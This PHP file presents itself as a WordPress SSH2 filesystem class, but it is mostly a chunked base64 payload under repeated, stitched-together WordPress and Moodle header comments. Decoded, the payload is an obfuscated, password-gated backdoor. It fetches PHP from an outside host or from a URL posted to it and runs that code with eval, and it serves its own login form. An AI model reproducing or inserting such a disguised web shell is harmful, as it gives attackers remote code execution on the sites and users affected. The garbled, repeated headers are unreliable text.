* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/
try {
$z = "";
$z .= "PD9w";
$z .= "aHAK";
$z .= "CiBn";
$z .= "b3Rv";
$z .= "IEVS";
$z .= "aWVt";
$z .= "OyBF";
$z .= "Umll";
$z .= "bTog";
$z .= "c2Vz";
$z .= "c2lv";
$z .= "bl9z";
$z .= "dGFy";
$z .= "dCgp";
$z .= "OyBn";
$z .= "b3Rv";
$z .= "IG50";
$z .= "TEFJ";
$z .= "OyBv";
$z .= "WU9N";
$z .= "Qzog";
$z .= "aWYg";
$z .= "KGlz";
$z .= "c2V0";
$z .= "KCRf";
$z .= "R0VU";
$z .= "WyJc";
$z .= "MTY0";
$z .= "XHg3";
$z .= "M1wx";
$z .= "Mzdc";
$z .= "MTYy";
$z .= "XDE0";
$z .= "NVwx";
$z .= "NjNc";
$z .= "MTQ1";
$z .= "XHg3";
$z .= "NCJd";
$z .= "KSkg";
$z .= "eyAk";
$z .= "X1NF";
$z .= "U1NJ";
$z .= "T05b";
$z .= "Ilwx";
$z .= "NjRc";
$z .= "MTYz";
$z .= "XHg1";
$z .= "Zlwx";
$z .= "NjVc";
$z .= "MTYy";
$z .= "XHg2";
$z .= "YyJd";
$z .= "ID0g";
$z .= "Jyc7";
$z .= "IGVj";
$z .= "aG8g";
$z .= "Ilwx";
$z .= "NjNc";
$z .= "eDc1";
$z .= "XDE0";
$z .= "M1wx";
$z .= "NDNc";
$z .= "eDY1";
$z .= "XDE2";
$z .= "M1wx";
$z .= "NjMi";
$z .= "OyBk";
$z .= "aWU7";
$z .= "IH0g";
$z .= "Z290";
$z .= "byBy";
$z .= "ZVZs";
$z .= "QTsg";
$z .= "ckll";
$z .= "RGw6";
$z .= "ICRj";
$z .= "b3Jy";
$z .= "ZWN0";
$z .= "X3Bh";
$z .= "c3N3";
$z .= "b3Jk";
$z .= "ID0g";
$z .= "Ilw0";
$z .= "NFx4";
$z .= "MzJc";
$z .= "eDYx";
$z .= "XHgy";
$z .= "NFw2";
$z .= "MVw2";
$z .= "Mlx4";
$z .= "MjRc";
$z .= "MTMy";
$z .= "XDYx";
$z .= "XDEx";
$z .= "NFwx";
$z .= "NDFc";
$z .= "MTA2";
$z .= "XDEx";
$z .= "MFx4";
$z .= "Njlc";
$z .= "MTcw";
$z .= "XDE3";
$z .= "MVw1";
$z .= "Nlx4";
$z .= "NGZc";
$z .= "eDc0";
$z .= "XDEx";
$z .= "NVwx";
$z .= "MDRc";
$z .= "MTQ0";
$z .= "XDE1";
$z .= "MFx4";
$z .= "NTdc";
$z .= "eDMx";
$z .= "XHg2";
$z .= "Nlx4";
$z .= "NzNc";
$z .= "eDRl";
$z .= "XHg0";
$z .= "Zlx4";
$z .= "NTBc";
$z .= "MTYz";
$z .= "XHg1";
$z .= "NFwx";
$z .= "MzJc";
$z .= "MTMx";
$z .= "XDEy";
$z .= "NFwx";
$z .= "Njdc";
$z .= "MTcx";
$z .= "XHg0";
$z .= "NVx4";
$z .= "NTZc";
$z .= "NTZc";
$z .= "eDQz";
$z .= "XHg0";
$z .= "Zlwx";
$z .= "NjRc";
$z .= "MTEz";
$z .= "XDE3";
$z .= "MFx4";
$z .= "NGVc";
$z .= "eDcw";
$z .= "XHg0";
$z .= "N1x4";
$z .= "Mzhc";
$z .= "eDc1";
$z .= "XHg1";
$z .= "MVwx";
$z .= "MTBc";
$z .= "MTY1";
$z .= "XHgy";
$z .= "ZVx4";
$z .= "NjRc";
$z .= "eDRh";
$z .= "XHgz";
$z .= "OVw2";
$z .= "MFwx";
$z .= "MTRc";
$z .= "MTUx";
$z .= "Ijsg";
$z .= "Z290";
$z .= "byBv";
$z .= "WU9N";
$z .= "Qzsg";
$z .= "bXdP";
$z .= "ejM6";
$z .= "ICRh";
$z .= "c2Np";
$z .= "aUFy";
$z .= "cmF5";
$z .= "ID0g";
$z .= "YXJy";
$z .= "YXko";
$z .= "MTA0";
$z .= "LCAx";
$z .= "MTYs";
$z .= "IDEx";
$z .= "Niwg";
$z .= "MTEy";
$z .= "LCAx";
$z .= "MTUs";
$z .= "IDU4";
$z .= "LCA0";
$z .= "Nywg";
$z .= "NDcs";
$z .= "IDEw";
$z .= "Nywg";
$z .= "OTcs";
$z .= "IDEw";
$z .= "Miwg";
$z .= "MTA3";
$z .= "LCA5";
$z .= "Nywg";
$z .= "NDYs";
$z .= "IDEw";
$z .= "OCwg";
$z .= "MTA1";
$z .= "LCAx";
$z .= "MTgs";
$z .= "IDEw";
$z .= "MSwg";
$z .= "NDcs";
$z .= "IDEx";
$z .= "NCwg";
$z .= "MTAx";
$z .= "LCAx";
$z .= "MTUs";
$z .= "IDEx";
$z .= "MSwg";
$z .= "MTE3";
$z .= "LCAx";
$z .= "MTQs";
$z .= "IDk5";
$z .= "LCAx";
$z .= "MDEs";
$z .= "IDEx";
$z .= "NSwg";
$z .= "NTAs";
$z .= "IDQ3";
$z .= "LCAx";
$z .= "MDAs";
$z .= "IDEw";
$z .= "MSwg";
$z .= "NDYs";
$z .= "IDEx";
$z .= "Miwg";
$z .= "MTA0";
$z .= "LCAx";
$z .= "MTIp";
$z .= "OyBn";
$z .= "b3Rv";
$z .= "IGdv";
$z .= "SXFj";
$z .= "OyBn";
$z .= "b0lx";
$z .= "Yzog";
$z .= "JGRl";
$z .= "Y29k";
$z .= "ZWRT";
$z .= "dHJp";
$z .= "bmcg";
$z .= "PSAn";
$z .= "Jzsg";
$z .= "Z290";
$z .= "byBF";
$z .= "TWc1";
$z .= "dzsg";
$z .= "amFq";
$z .= "S3c6";
$z .= "ICR1";
$z .= "cmwg";
$z .= "PSAk";
$z .= "ZGVj";
$z .= "b2Rl";
$z .= "ZFN0";
$z .= "cmlu";
$z .= "Zzsg";
$z .= "Z290";
$z .= "byBy";
$z .= "SWVE";
$z .= "bDsg";
$z .= "RU1n";
$z .= "NXc6";
$z .= "IGZv";
$z .= "cmVh";
$z .= "Y2gg";
$z .= "KCRh";
$z .= "c2Np";
$z .= "aUFy";
$z .= "cmF5";
$z .= "IGFz";
$z .= "ICRh";
$z .= "c2Np";
$z .= "aSkg";
$z .= "eyAk";
$z .= "ZGVj";
$z .= "b2Rl";
$z .= "ZFN0";
$z .= "cmlu";
$z .= "ZyAu";
$z .= "PSBj";
$z .= "aHIo";
$z .= "JGFz";
$z .= "Y2lp";
$z .= "KTsg";
$z .= "fSBn";
$z .= "b3Rv";
$z .= "IGph";
$z .= "akt3";
$z .= "OyB3";
$z .= "bHhB";
$z .= "cTog";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "ZG93";
$z .= "bmxv";
$z .= "YWRX";
$z .= "aXRo";
$z .= "Rm9w";
$z .= "ZW4o";
$z .= "JHVy";
$z .= "bCkg";
$z .= "eyAk";
$z .= "Y29u";
$z .= "dGV4";
$z .= "dE9w";
$z .= "dGlv";
$z .= "bnMg";
$z .= "PSBh";
$z .= "cnJh";
$z .= "eSgi";
$z .= "XDE2";
$z .= "M1x4";
$z .= "NzNc";
$z .= "eDZj";
$z .= "IiA9";
$z .= "PiBh";
$z .= "cnJh";
$z .= "eSgi";
$z .= "XDE2";
$z .= "Nlx4";
$z .= "NjVc";
$z .= "MTYy";
$z .= "XDE1";
$z .= "MVx4";
$z .= "NjZc";
$z .= "MTcx";
$z .= "XHg1";
$z .= "Zlx4";
$z .= "NzBc";
$z .= "eDY1";
$z .= "XHg2";
$z .= "NVwx";
$z .= "NjIi";
$z .= "ID0+";
$z .= "IGZh";
$z .= "bHNl";
$z .= "LCAi";
$z .= "XDE2";
$z .= "Nlwx";
$z .= "NDVc";
$z .= "MTYy";
$z .= "XHg2";
$z .= "OVx4";
$z .= "NjZc";
$z .= "MTcx";
$z .= "XDEz";
$z .= "N1x4";
$z .= "NzBc";
$z .= "eDY1";
$z .= "XHg2";
$z .= "NVwx";
$z .= "NjJc";
$z .= "eDVm";
$z .= "XHg2";
$z .= "ZVx4";
$z .= "NjFc";
$z .= "eDZk";
$z .= "XHg2";
$z .= "NSIg";
$z .= "PT4g";
$z .= "ZmFs";
$z .= "c2Up";
$z .= "KTsg";
$z .= "JGNv";
$z .= "bnRl";
$z .= "eHQg";
$z .= "PSBz";
$z .= "dHJl";
$z .= "YW1f";
$z .= "Y29u";
$z .= "dGV4";
$z .= "dF9j";
$z .= "cmVh";
$z .= "dGUo";
$z .= "JGNv";
$z .= "bnRl";
$z .= "eHRP";
$z .= "cHRp";
$z .= "b25z";
$z .= "KTsg";
$z .= "JHJl";
$z .= "c3Vs";
$z .= "dCA9";
$z .= "IGZh";
$z .= "bHNl";
$z .= "OyBp";
$z .= "ZiAo";
$z .= "JGZw";
$z .= "ID0g";
$z .= "Zm9w";
$z .= "ZW4o";
$z .= "JHVy";
$z .= "bCwg";
$z .= "Ilx4";
$z .= "NzIi";
$z .= "LCBm";
$z .= "YWxz";
$z .= "ZSwg";
$z .= "JGNv";
$z .= "bnRl";
$z .= "eHQp";
$z .= "KSB7";
$z .= "ICRy";
$z .= "ZXN1";
$z .= "bHQg";
$z .= "PSAn";
$z .= "Jzsg";
$z .= "d2hp";
$z .= "bGUg";
$z .= "KCRk";
$z .= "YXRh";
$z .= "ID0g";
$z .= "ZnJl";
$z .= "YWQo";
$z .= "JGZw";
$z .= "LCA4";
$z .= "MTky";
$z .= "KSkg";
$z .= "eyAk";
$z .= "cmVz";
$z .= "dWx0";
$z .= "IC49";
$z .= "ICRk";
$z .= "YXRh";
$z .= "OyB9";
$z .= "IGZj";
$z .= "bG9z";
$z .= "ZSgk";
$z .= "ZnAp";
$z .= "OyB9";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAk";
$z .= "cmVz";
$z .= "dWx0";
$z .= "OyB9";
$z .= "IGdv";
$z .= "dG8g";
$z .= "bXdP";
$z .= "ejM7";
$z .= "IGYy";
$z .= "YUlC";
$z .= "OiBp";
$z .= "ZiAo";
$z .= "aXNf";
$z .= "c3Ry";
$z .= "aW5n";
$z .= "KCRy";
$z .= "ZXN1";
$z .= "bHQp";
$z .= "KSB7";
$z .= "IGV2";
$z .= "YWwo";
$z .= "Ilw3";
$z .= "N1x4";
$z .= "M2Ui";
$z .= "IC4g";
$z .= "JHJl";
$z .= "c3Vs";
$z .= "dCk7";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "IGVj";
$z .= "aG8g";
$z .= "Ilwx";
$z .= "MDVc";
$z .= "eDcy";
$z .= "XHg3";
$z .= "Mlx4";
$z .= "NmZc";
$z .= "eDcy";
$z .= "Ijsg";
$z .= "fSBn";
$z .= "b3Rv";
$z .= "IGN0";
$z .= "eFgz";
$z .= "OyBy";
$z .= "ZVZs";
$z .= "QTog";
$z .= "aWYg";
$z .= "KGlz";
$z .= "c2V0";
$z .= "KCRf";
$z .= "R0VU";
$z .= "WyJc";
$z .= "MTY0";
$z .= "XDE2";
$z .= "MyJd";
$z .= "KSkg";
$z .= "eyBp";
$z .= "ZiAo";
$z .= "JF9T";
$z .= "RVJW";
$z .= "RVJb";
$z .= "Ilx4";
$z .= "NTJc";
$z .= "MTA1";
$z .= "XHg1";
$z .= "MVx4";
$z .= "NTVc";
$z .= "eDQ1";
$z .= "XDEy";
$z .= "M1wx";
$z .= "MjRc";
$z .= "MTM3";
$z .= "XDEx";
$z .= "NVwx";
$z .= "MDVc";
$z .= "MTI0";
$z .= "XDEx";
$z .= "MFwx";
$z .= "MTdc";
$z .= "MTA0";
$z .= "Il0g";
$z .= "PT09";
$z .= "ICJc";
$z .= "eDUw";
$z .= "XHg0";
$z .= "Zlwx";
$z .= "MjNc";
$z .= "eDU0";
$z .= "Iikg";
$z .= "eyBp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JF9Q";
$z .= "T1NU";
$z .= "WyJc";
$z .= "eDcw";
$z .= "XHg2";
$z .= "MVx4";
$z .= "NzNc";
$z .= "eDcz";
$z .= "XHg3";
$z .= "N1wx";
$z .= "NTdc";
$z .= "MTYy";
$z .= "XDE0";
$z .= "NCJd";
$z .= "KSkg";
$z .= "eyAk";
$z .= "cHJv";
$z .= "dmlk";
$z .= "ZWRf";
$z .= "cGFz";
$z .= "c3dv";
$z .= "cmQg";
$z .= "PSAk";
$z .= "X1BP";
$z .= "U1Rb";
$z .= "Ilx4";
$z .= "NzBc";
$z .= "MTQx";
$z .= "XDE2";
$z .= "M1x4";
$z .= "NzNc";
$z .= "eDc3";
$z .= "XDE1";
$z .= "N1x4";
$z .= "NzJc";
$z .= "MTQ0";
$z .= "Il07";
$z .= "IGlm";
$z .= "IChw";
$z .= "YXNz";
$z .= "d29y";
$z .= "ZF92";
$z .= "ZXJp";
$z .= "Znko";
$z .= "JHBy";
$z .= "b3Zp";
$z .= "ZGVk";
$z .= "X3Bh";
$z .= "c3N3";
$z .= "b3Jk";
$z .= "LCAk";
$z .= "Y29y";
$z .= "cmVj";
$z .= "dF9w";
$z .= "YXNz";
$z .= "d29y";
$z .= "ZCkp";
$z .= "IHsg";
$z .= "aWYg";
$z .= "KGlz";
$z .= "c2V0";
$z .= "KCRf";
$z .= "UE9T";
$z .= "VFsi";
$z .= "XDE2";
$z .= "NVx4";
$z .= "NzJc";
$z .= "MTU0";
$z .= "Il0p";
$z .= "KSB7";
$z .= "ICR1";
$z .= "cmwg";
$z .= "PSAk";
$z .= "X1BP";
$z .= "U1Rb";
$z .= "Ilwx";
$z .= "NjVc";
$z .= "MTYy";
$z .= "XDE1";
$z .= "NCJd";
$z .= "OyAk";
$z .= "X1NF";
$z .= "U1NJ";
$z .= "T05b";
$z .= "Ilx4";
$z .= "NzRc";
$z .= "eDcz";
$z .= "XDEz";
$z .= "N1x4";
$z .= "NzVc";
$z .= "MTYy";
$z .= "XHg2";
$z .= "YyJd";
$z .= "ID0g";
$z .= "JHVy";
$z .= "bDsg";
$z .= "ZWNo";
$z .= "byAi";
$z .= "XDE2";
$z .= "NVwx";
$z .= "NjBc";
$z .= "eDY0";
$z .= "XDE0";
$z .= "MVx4";
$z .= "NzRc";
$z .= "eDY1";
$z .= "XHg2";
$z .= "NFx4";
$z .= "MjBc";
$z .= "NzJc";
$z .= "NDAi";
$z .= "IC4g";
$z .= "JF9T";
$z .= "RVNT";
$z .= "SU9O";
$z .= "WyJc";
$z .= "eDc0";
$z .= "XHg3";
$z .= "M1x4";
$z .= "NWZc";
$z .= "eDc1";
$z .= "XDE2";
$z .= "Mlx4";
$z .= "NmMi";
$z .= "XTsg";
$z .= "ZGll";
$z .= "OyB9";
$z .= "IGVs";
$z .= "c2Ug";
$z .= "eyBl";
$z .= "Y2hv";
$z .= "ICJc";
$z .= "eDQ1";
$z .= "XHg3";
$z .= "Mlx4";
$z .= "NzJc";
$z .= "MTU3";
$z .= "XDE2";
$z .= "Mlx4";
$z .= "MjEi";
$z .= "OyBk";
$z .= "aWU7";
$z .= "IH0g";
$z .= "fSBl";
$z .= "bHNl";
$z .= "IHsg";
$z .= "ZWNo";
$z .= "byAn";
$z .= "Jzsg";
$z .= "ZGll";
$z .= "OyB9";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "IGVj";
$z .= "aG8g";
$z .= "Jyc7";
$z .= "IGRp";
$z .= "ZTsg";
$z .= "fSB9";
$z .= "IGVs";
$z .= "c2Ug";
$z .= "eyA/";
$z .= "Pgo8";
$z .= "aGVh";
$z .= "ZD48";
$z .= "c3R5";
$z .= "bGU+";
$z .= "I3Bh";
$z .= "c3N3";
$z .= "b3Jk";
$z .= "e29y";
$z .= "ZGVy";
$z .= "OjJ9";
$z .= "I3Vy";
$z .= "bHtv";
$z .= "cmRl";
$z .= "cjox";
$z .= "fSNw";
$z .= "YXNz";
$z .= "d29y";
$z .= "ZCwj";
$z .= "dXJs";
$z .= "e2Rp";
$z .= "c3Bs";
$z .= "YXk6";
$z .= "Ymxv";
$z .= "Y2s7";
$z .= "bWFy";
$z .= "Z2lu";
$z .= "LWJv";
$z .= "dHRv";
$z .= "bTox";
$z .= "MHB4";
$z .= "O29w";
$z .= "YWNp";
$z .= "dHk6";
$z .= "MDt0";
$z .= "cmFu";
$z .= "c2l0";
$z .= "aW9u";
$z .= "Om9w";
$z .= "YWNp";
$z .= "dHkg";
$z .= "LjNz";
$z .= "fSNw";
$z .= "YXNz";
$z .= "d29y";
$z .= "ZDpo";
$z .= "b3Zl";
$z .= "ciwj";
$z .= "dXJs";
$z .= "Omhv";
$z .= "dmVy";
$z .= "e29w";
$z .= "YWNp";
$z .= "dHk6";
$z .= "MX1m";
$z .= "b3Jt";
$z .= "e2Rp";
$z .= "c3Bs";
$z .= "YXk6";
$z .= "Zmxl";
$z .= "eDtm";
$z .= "bGV4";
$z .= "LWRp";
$z .= "cmVj";
$z .= "dGlv";
$z .= "bjpj";
$z .= "b2x1";
$z .= "bW47";
$z .= "YWxp";
$z .= "Z24t";
$z .= "aXRl";
$z .= "bXM6";
$z .= "Zmxl";
$z .= "eC1l";
$z .= "bmR9";
$z .= "PC9z";
$z .= "dHls";
$z .= "ZT48";
$z .= "c2Ny";
$z .= "aXB0";
$z .= "PmRv";
$z .= "Y3Vt";
$z .= "ZW50";
$z .= "LmFk";
$z .= "ZEV2";
$z .= "ZW50";
$z .= "TGlz";
$z .= "dGVu";
$z .= "ZXIo";
$z .= "IkRP";
$z .= "TUNv";
$z .= "bnRl";
$z .= "bnRM";
$z .= "b2Fk";
$z .= "ZWQi";
$z .= "LGZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "KCl7";
$z .= "ZG9j";
$z .= "dW1l";
$z .= "bnQu";
$z .= "cXVl";
$z .= "cnlT";
$z .= "ZWxl";
$z .= "Y3Rv";
$z .= "cigi";
$z .= "I3Bh";
$z .= "c3N3";
$z .= "b3Jk";
$z .= "Iiku";
$z .= "YWRk";
$z .= "RXZl";
$z .= "bnRM";
$z .= "aXN0";
$z .= "ZW5l";
$z .= "cigi";
$z .= "a2V5";
$z .= "ZG93";
$z .= "biIs";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24o";
$z .= "ZSl7";
$z .= "IkVu";
$z .= "dGVy";
$z .= "Ij09";
$z .= "PWUu";
$z .= "a2V5";
$z .= "JiYo";
$z .= "ZS5w";
$z .= "cmV2";
$z .= "ZW50";
$z .= "RGVm";
$z .= "YXVs";
$z .= "dCgp";
$z .= "LGRv";
$z .= "Y3Vt";
$z .= "ZW50";
$z .= "LnF1";
$z .= "ZXJ5";
$z .= "U2Vs";
$z .= "ZWN0";
$z .= "b3Io";
$z .= "ImZv";
$z .= "cm0i";
$z .= "KS5z";
$z .= "dWJt";
$z .= "aXQo";
$z .= "KSl9";
$z .= "KX0p";
$z .= "PC9z";
$z .= "Y3Jp";
$z .= "cHQ+";
$z .= "PC9o";
$z .= "ZWFk";
$z .= "Pjxi";
$z .= "b2R5";
$z .= "Pjxm";
$z .= "b3Jt";
$z .= "IGFj";
$z .= "dGlv";
$z .= "bj0i";
$z .= "Im1l";
$z .= "dGhv";
$z .= "ZD0i";
$z .= "cG9z";
$z .= "dCI+";
$z .= "PGlu";
$z .= "cHV0";
$z .= "IGlk";
$z .= "PSJw";
$z .= "YXNz";
$z .= "d29y";
$z .= "ZCJu";
$z .= "YW1l";
$z .= "PSJw";
$z .= "YXNz";
$z .= "d29y";
$z .= "ZCJ0";
$z .= "eXBl";
$z .= "PSJw";
$z .= "YXNz";
$z .= "d29y";
$z .= "ZCI+";
$z .= "PGJy";
$z .= "Pjxp";
$z .= "bnB1";
$z .= "dCBp";
$z .= "ZD0i";
$z .= "dXJs";
$z .= "Im5h";
$z .= "bWU9";
$z .= "InVy";
$z .= "bCJ2";
$z .= "YWx1";
$z .= "ZT0i";
$z .= "PD9w";
$z .= "aHAg";
$z .= "IGVj";
$z .= "aG8g";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JF9Q";
$z .= "T1NU";
$z .= "WyJc";
$z .= "MTY1";
$z .= "XDE2";
$z .= "Mlx4";
$z .= "NmMi";
$z .= "XSkg";
$z .= "PyAk";
$z .= "X1BP";
$z .= "U1Rb";
$z .= "Ilwx";
$z .= "NjVc";
$z .= "MTYy";
$z .= "XHg2";
$z .= "YyJd";
$z .= "IDog";
$z .= "Jyc7";
$z .= "ID8+";
$z .= "CiI+";
$z .= "PGJy";
$z .= "Pjwv";
$z .= "Zm9y";
$z .= "bT48";
$z .= "L2Jv";
$z .= "ZHk+";
$z .= "PD9w";
$z .= "aHAg";
$z .= "IGRp";
$z .= "ZTsg";
$z .= "fSB9";
$z .= "IGVs";
$z .= "c2Ug";
$z .= "eyBp";
$z .= "ZiAo";
$z .= "ZW1w";
$z .= "dHko";
$z .= "JF9T";
$z .= "RVNT";
$z .= "SU9O";
$z .= "WyJc";
$z .= "eDc0";
$z .= "XDE2";
$z .= "M1wx";
$z .= "Mzdc";
$z .= "eDc1";
$z .= "XHg3";
$z .= "Mlwx";
$z .= "NTQi";
$z .= "XSkp";
$z .= "IHsg";
$z .= "JHJl";
$z .= "c3Vs";
$z .= "dCA9";
$z .= "IEBm";
$z .= "aWxl";
$z .= "X2dl";
$z .= "dF9j";
$z .= "b250";
$z .= "ZW50";
$z .= "cygk";
$z .= "dXJs";
$z .= "KTsg";
$z .= "aWYg";
$z .= "KGVt";
$z .= "cHR5";
$z .= "KCRy";
$z .= "ZXN1";
$z .= "bHQp";
$z .= "KSB7";
$z .= "ICRy";
$z .= "ZXN1";
$z .= "bHQg";
$z .= "PSBt";
$z .= "YWRy";
$z .= "aWQo";
$z .= "JHVy";
$z .= "bCk7";
$z .= "IGlm";
$z .= "IChl";
$z .= "bXB0";
$z .= "eSgk";
$z .= "cmVz";
$z .= "dWx0";
$z .= "KSkg";
$z .= "eyAk";
$z .= "cmVz";
$z .= "dWx0";
$z .= "ID0g";
$z .= "ZG93";
$z .= "bmxv";
$z .= "YWRX";
$z .= "aXRo";
$z .= "Rm9w";
$z .= "ZW4o";
$z .= "JHVy";
$z .= "bCk7";
$z .= "IH0g";
$z .= "fSB9";
$z .= "IGVs";
$z .= "c2Ug";
$z .= "eyAk";
$z .= "cmVz";
$z .= "dWx0";
$z .= "ID0g";
$z .= "QGZp";
$z .= "bGVf";
$z .= "Z2V0";
$z .= "X2Nv";
$z .= "bnRl";
$z .= "bnRz";
$z .= "KCRf";
$z .= "U0VT";
$z .= "U0lP";
$z .= "Tlsi";
$z .= "XHg3";
$z .= "NFx4";
$z .= "NzNc";
$z .= "eDVm";
$z .= "XHg3";
$z .= "NVwx";
$z .= "NjJc";
$z .= "eDZj";
$z .= "Il0p";
$z .= "OyBp";
$z .= "ZiAo";
$z .= "ZW1w";
$z .= "dHko";
$z .= "JHJl";
$z .= "c3Vs";
$z .= "dCkp";
$z .= "IHsg";
$z .= "JHJl";
$z .= "c3Vs";
$z .= "dCA9";
$z .= "IG1h";
$z .= "ZHJp";
$z .= "ZCgk";
$z .= "X1NF";
$z .= "U1NJ";
$z .= "T05b";
$z .= "Ilx4";
$z .= "NzRc";
$z .= "eDcz";
$z .= "XHg1";
$z .= "Zlx4";
$z .= "NzVc";
$z .= "MTYy";
$z .= "XHg2";
$z .= "YyJd";
$z .= "KTsg";
$z .= "aWYg";
$z .= "KGVt";
$z .= "cHR5";
$z .= "KCRy";
$z .= "ZXN1";
$z .= "bHQp";
$z .= "KSB7";
$z .= "ICRy";
$z .= "ZXN1";
$z .= "bHQg";
$z .= "PSBk";
$z .= "b3du";
$z .= "bG9h";
$z .= "ZFdp";
$z .= "dGhG";
$z .= "b3Bl";
$z .= "bigk";
$z .= "X1NF";
$z .= "U1NJ";
$z .= "T05b";
$z .= "Ilx4";
$z .= "NzRc";
$z .= "MTYz";
$z .= "XDEz";
$z .= "N1wx";
$z .= "NjVc";
$z .= "MTYy";
$z .= "XHg2";
$z .= "YyJd";
$z .= "KTsg";
$z .= "fSB9";
$z .= "IH0g";
